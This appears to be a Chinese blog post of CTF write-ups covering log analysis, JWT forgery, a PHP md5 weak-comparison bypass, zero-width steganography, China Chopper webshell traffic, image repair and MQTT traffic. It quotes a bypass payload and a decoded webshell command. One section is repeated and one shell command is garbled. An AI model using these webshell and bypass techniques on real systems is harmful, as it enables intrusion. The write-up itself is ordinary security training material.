第三届“泉信杯”网络空间安全技能大赛

Access

image-20231202152358312

下载附件

https://wwqo.lanzouy.com/iPLQF1glc9fa

image-20231202152727019

打开文件结合文件后缀可以判断这是个日志文件,

image-20231202152745854

看到这底下有个爆破密码的操作,结合题目username和password,应该就是找出这个黑客成功登录后台的账号密码,

我当时就让别人去找了,最后找到一条302

image-20231202152944534

其他的都是200的状态码,只有这个是302状态码

GET /ll/login.php?username=cXp4eA%3d%3d&password=cmpnYw%3d%3d

这里以看就不正常有很多百分号,应该要先来一遍url解码

cXp4eA==和cmpnYw==

一眼丁真,鉴定为base64编码
再次对其解码

qzxx和rjgc

成功拿到flag

Easy JWT

image-20231202150405209

进入页面

image-20231202150430928

就按照他的步骤来吧

先访问第一个链接获取JWT

image-20231202150541604

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidXNlcm5hbWUifQ.vte7P1fj7SmMpHb4e3jHzeshSkxQl21-yTa9rpPIZOw

找一个在线JWT解密工具

image-20231202150704077

可以在头部看到采用HS256加密,把载荷里的username改成admin

image-20231202150847961

先把密钥留空试试,然后访问第二步的网页

http://120.36.155.11:40510/get_flag/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidXNlcm5hbWUifQ.iDwpHmMRFyuNV4TkM9yFpBwkoh5a5Vi_uE1xIfh5hqc

image-20231202151429165

根本打不开,这里是要有密钥的
当时我根本不知道密钥是什么,看了官方的wp才知道密钥是qziedu

按照官方的密钥

image-20231202151825131

带入第二个网址

image-20231202151850517

那就把username改成admin

image-20231202151916655

最后也是解出来了

image-20231202151938874

Easy PHP

image-20231202143731231

直接进入页面

image-20231202143811726

获取到源码

 <?php
highlight_file(__FILE__);
$flag = null;
include '/flag_change';
$a = $_SERVER['argv'][0];
$b = $_SERVER['argv'][1];
$c = $_SERVER['HTTP_CLIENT_IP'];

if ($a == md5($b) && $a != $b && $a == md5($a)) {
    if (isset($c)) {
        echo $flag;
    } else {
        echo '请提供一个 client-ip ';
    }
}
?> 

有a,b,c三个变量。传入的第一个参数为a,第二个参数为b,客户端的ip为c

$_SERVER['argv'][0]的用法:

在web网页模式下:

php.ini里的register_argc_argv配置项是打开的(register_argc_argv = On)

这时候$_SERVER[‘argv’][0]= $_SERVER[‘QUERY_STRING’]

也就是说传入的第一个参数就是$_SERVER[‘argv’][0],而第二个参数时$_SERVER[‘argv’][1]

注意:传参之间用+号隔开

具体参考:https://blog.csdn.net/csdn_azuo/article/details/79092479

首先进行一次if语句的md5绕过,然后要满足c不为空

if的判断:

  1. a若等于b的md5值
  2. a不等于b
  3. a的值与md5后值相等

最后一个c可以在报头里添加client-ip,至此题目思路已经出来了。

我在这里碰到的问题是找不到这个0e在md5后会等于自身的数,在网上找不到这种数,然后也试了几十个数,忘记可以自己写脚本了

还有一点就是两个参数之间用+号隔开

前置知识参考
php弱相等:https://blog.csdn.net/weixin_43836806/article/details/107340486

PHP中$_SERVER["QUERY_STRING"]函数: https://www.cnblogs.com/thinksasa/archive/2012/11/11/2765141.html

https://blog.csdn.net/qq_49480008/article/details/115872899

image-20231202150211675

payload:?0e215962017+s1502113478a

最后加上client-ip就出来了

Stego_text

image-20231202153525176

附件下载:https://wwqo.lanzouy.com/iuLTC1glcsba

image-20231202153654376

打开我就觉得不对劲里面有很多方块,跟我之前做的一题有点像,我就在想会不会是不可打印的Unicode字符在里面隐藏了信息

我之前做的那一题:https://www.cnblogs.com/redfish404/articles/17838384.html里面的chekin ktrol

image-20231202154013224

于是我把这些文本放入vscode

image-20231202154102639

确实发现了不少,我在想这会不会是某种加密,把[U+200F]复制下来百度

image-20231202154206660

也知道了它是0宽字符加密
找了几个网站也解密不了,当时也没时间去了解他的加密原理,这题就跳了

接下来开始研究什么是0宽字符加密

关于0宽字符加密和字符编码

前置参考

字符编码(ASCII,Unicode和UTF-8) 和 大小端 - 如果天空不死 - 博客园

浅析什么是零宽度字符以及零宽度字符在实际中的应用场景

0宽字符的加密和解密

下面是我自己整理的一点:

[字符编码]链接待补

[0宽字符加解密]链接待补

开始解题

image-20231202220740513

首先要从文本中找出用了几种编码方式

  • U+200C ZERO WIDTH NON-JOINER
  • U+200E LEFT-TO-RIGHT MARK
  • U+200F LEFT-TO-RIGHT MARK
  • U+202C POP DIRECTIONAL FORMATTING
  • U+FEFF ZERO WIDTH NO-BREAK SPACE

至于U+FEFF是怎么找出来的等会说

然后用写脚本解密或者直接到在线网站上解密都可以

在线网站

然后把几种出现的编码方式勾选上去

最后一个U+FEFF不确定的话可以先不勾选确定一下然后再勾选确定一

image-20231202221226985

成功拿下flag

----------------------其实应该放到vim里面更好,看到的更全,但是我懒得改了

菜刀

附件下载:https://wwqo.lanzouy.com/iwDPz1gpuzxg
密码:d6ch

image-20231203214411243

很明显这是一道流量分析题,里面大多数为tcp

image-20231203214442699

image-20231203214609319

其中有个这个留意一下

先随便分析一个tcp包

image-20231203214705433

根据返回的报文可以判断它应该是在查目录
要是不确定的话可以把里面的内容解密一下

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXA%3D%3D

首先有很多百分号,先进行url解码
解码后

cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXA==

再进行部分字符base64解码

@ini_set("display_errors","0");
@set_time_limit(0);@set_magic_quotes_runtime(0);
echo("->|");
;$D=base64_decode($_POST["z1"]);$F=@opendir($D);
if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."
";
if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();π

看不懂。。。

那就继续往后看吧

image-20231203221506250

到后面看到这个,逻辑是就是下载一个hello.rar的文件

下面就是服务器响应的内容

这里因为服务器在响应时使用了Transfer-Encoding选项,所以这里不能直接使用“Save as”保存数据包中的内容再用winhex提取出来(可以是可以,但是这种方式保存下来的数据需要自己写个脚本进行处理然后才能用winhex提取文件,太麻烦)。

如何导出文件?选择“File”->“Export Objects”->“Http”通过这种方式提取出来的http数据,wiresahrk会自动帮我们解决采用Transfer-encoding传输的问题,而不需要我们自己去解决)

image-20231203221142419

这是第五个流所以选择第六个

image-20231203221647805

另存为rar后用16进制打开

image-20231203221911280

把头和尾的|-> <-|去掉

image-20231203222029280

保存

压缩包里面只有一张半个flag的图

image-20231203222112177

所以我们还要分析一下上传逻辑

image-20231203224518044

在这里z2是以89504E470D0A1A0A开头的

这是png的文件头

直接复制出来放到010里面

注意:粘贴的时候要用control+shift+v

最后另一张也出来了

image-20231203225944620

Ez_pic

image-20231203183611984

题目附件:https://wwqo.lanzouy.com/iASEX1gpaytg

下载后发现是一张空白的图片

image-20231203183708629

可以直接用binwalk分离
这里我用手动的办法演示一遍

前置知识

常见文件头:

jpg/jpeg

以FFD8开头FFD9结尾

zip

50 4B开头

image-20231203184339576

这里我们找到FFD9,后面跟的是压缩包直接提取出来

把提取的压缩包解压出来后里面有一个getflag.py

image-20231203184452296

image-20231203185228700

#!/usr/bin/env python3
with open('white.jpg', 'rb') as f://以二进制模式打开white.jpg
  data = f.read()//把读入的数据存到data
  pos = 0xA6	//定义位置在0xA6
  data = data[:pos] + b'\x10' + data[pos+1:]//保留pos位置之前的数据,加上0x10的二进制数据,再加上pos+1后的数据
  //实际上就是替换pos位置数据为0x10

with open('flag.jpg', 'wb') as f://新建一个flag.jpg将数据移入
  f.write(data)

image-20231203185316289

我们找到0xA6的位置,果真被替换成了10

这时候我们就要分析0xA6这个位置到底是存储什么东西的

用010editor的模版分析

image-20231203185431183

将0XA6位置框中然后选择跳转到变量

image-20231203185618353

image-20231203185748448

可以看到0XA6在A5到A7之间,说明它是存储宽度的

这时候可以先猜测一下宽度为500

image-20231203185921705

可以看到flag直接出来了

但是如果宽不为500那要怎么办呢?

我们可以写一个脚本进行宽度爆破

源码如下

import struct
filename = input("file:")//通过input获取用户输入的文件名
with open(filename, 'rb') as f://以rb(二进制读取模式)打开用户提供的文件
    all_b = f.read()		//把读入的所有二进制数据存入all_b
    #w = all_b[165:167]	//这里是图片的宽高储存位置,要自己找
    #h = all_b[163:165]
    for i in range(490,520)://i从490到520
        name = str(i) + ".jpg"//文件名等于i加上.jpg
        f1 = open(r"./output/" + name,"wb")//打开一个文件用于写入二进制数据,并将文件对象赋值给变量 f1。
        im = all_b[:165]+struct.pack('>h',i)+all_b[167:]//将保留文件中165位置以前的数据加上i变成二进制的数据,在加上167位置以后的数据,这个要根据文件填写
							     //注意这里是[:165]和[167:]一个在数字前加冒号,一个在数字后加冒号
        f1.write(im)	//最后,代码将修改后的图像数据写入到新创建的文件中,并关闭文件
        f1.close()



注意,运行这个脚本的时候,文件夹底下要有output文件夹


改进后的代码
import struct
import os
filename = input("请输入文件名")
output_folder = "./output2/"
os.makedirs(output_folder, exist_ok=True)
with open(filename, 'rb') as f:
    all_b = f.read()
    #w = all_b[165:167]
    #h = all_b[163:165]
    for i in range(490,520):
        name = str(i) + ".jpg"
        f1 = open(r"./output2/" + name,"wb")
        im = all_b[:165]+struct.pack('>h',i)+all_b[167:]
        f1.write(im)
        f1.close()


根据自己的需要调整代码

在生成的文件夹中找到了flag

image-20231203190137358

Easy PHP

image-20231202143731231

直接进入页面

image-20231202143811726

获取到源码

 <?php
highlight_file(__FILE__);
$flag = null;
include '/flag_change';
$a = $_SERVER['argv'][0];
$b = $_SERVER['argv'][1];
$c = $_SERVER['HTTP_CLIENT_IP'];

if ($a == md5($b) && $a != $b && $a == md5($a)) {
    if (isset($c)) {
        echo $flag;
    } else {
        echo '请提供一个 client-ip ';
    }
}
?> 

有a,b,c三个变量。传入的第一个参数为a,第二个参数为b,客户端的ip为c

$_SERVER['argv'][0]的用法:

在web网页模式下:

php.ini里的register_argc_argv配置项是打开的(register_argc_argv = On)

这时候$_SERVER[‘argv’][0]= $_SERVER[‘QUERY_STRING’]

也就是说传入的第一个参数就是$_SERVER[‘argv’][0],而第二个参数时$_SERVER[‘argv’][1]

注意:传参之间用+号隔开

具体参考:https://blog.csdn.net/csdn_azuo/article/details/79092479

首先进行一次if语句的md5绕过,然后要满足c不为空

if的判断:

  1. a若等于b的md5值
  2. a不等于b
  3. a的值与md5后值相等

最后一个c可以在报头里添加client-ip,至此题目思路已经出来了。

我在这里碰到的问题是找不到这个0e在md5后会等于自身的数,在网上找不到这种数,然后也试了几十个数,忘记可以自己写脚本了

还有一点就是两个参数之间用+号隔开

前置知识参考
php弱相等:https://blog.csdn.net/weixin_43836806/article/details/107340486

PHP中$_SERVER["QUERY_STRING"]函数: https://www.cnblogs.com/thinksasa/archive/2012/11/11/2765141.html

https://blog.csdn.net/qq_49480008/article/details/115872899

image-20231202150211675

payload:?0e215962017+s1502113478a

最后加上client-ip就出来了

隐流

image-20231203192712373

附件:https://wwqo.lanzouy.com/iakh91gpj14h

image-20231203193004561

全是mqtt

随便点一个跟踪tcp流

image-20231203193100686

看官方的wp是说替换0.../python/mqtt为空

我在想为什么要替换这个,后来我想了下,肯是因为除了这个地方其他的都不一样,中间是用这个隔开

把它们提取出来放到txt中替换
得到结果

image-20231203193305259

可以直接搜冒号":"

image-20231203202821633

直接根据冒号分割

image-20231203203049144

base64解码

data.zip base64解码两次
rsa.key base64解码一次
secrets.txt base64解码两次

若解密完有不可打印字符则要用linux命令解密

image-20231203203722320

其中rsa.key的内容是这样的

image-20231203205943982

这个时候就不要再解码了它的格式有

-----BEGIN PRIVATE KEY-----
xxxxxxxxxxx
-----END PRIVATE KEY-----

保存ras.key

data.zip和secret解密出来有不可打印字符

要放到linux里面解密

cat data1.txt | base64 -d>hexdump secret.txt -C
cat secret1.txt | base64 -d>secret.txt

查看它的16进制确认一下

hexdump secret.txt -C
hexdump data.zip -C
//以十六进制和 ASCII 字符混合的形式显示文件内容。它会显示文件内容的十六进制表示和对应的 ASCII 字符。

image-20231203211803289

确保都是正常的

使用 OpenSSL 中的 rsautl 工具来进行 RSA 解密

openssl rsautl -decrypt -in secret.txt -inkey rsa.key

image-20231203212059182

得到解压码

b4ddfa11-4c91-48da-8e57-37d86a3f40ee

image-20231203212203407

flag在1.txt里

image-20231203212255858

posted @ 2023-12-02 22:45  redfish999  阅读(164)  评论(1)    收藏  举报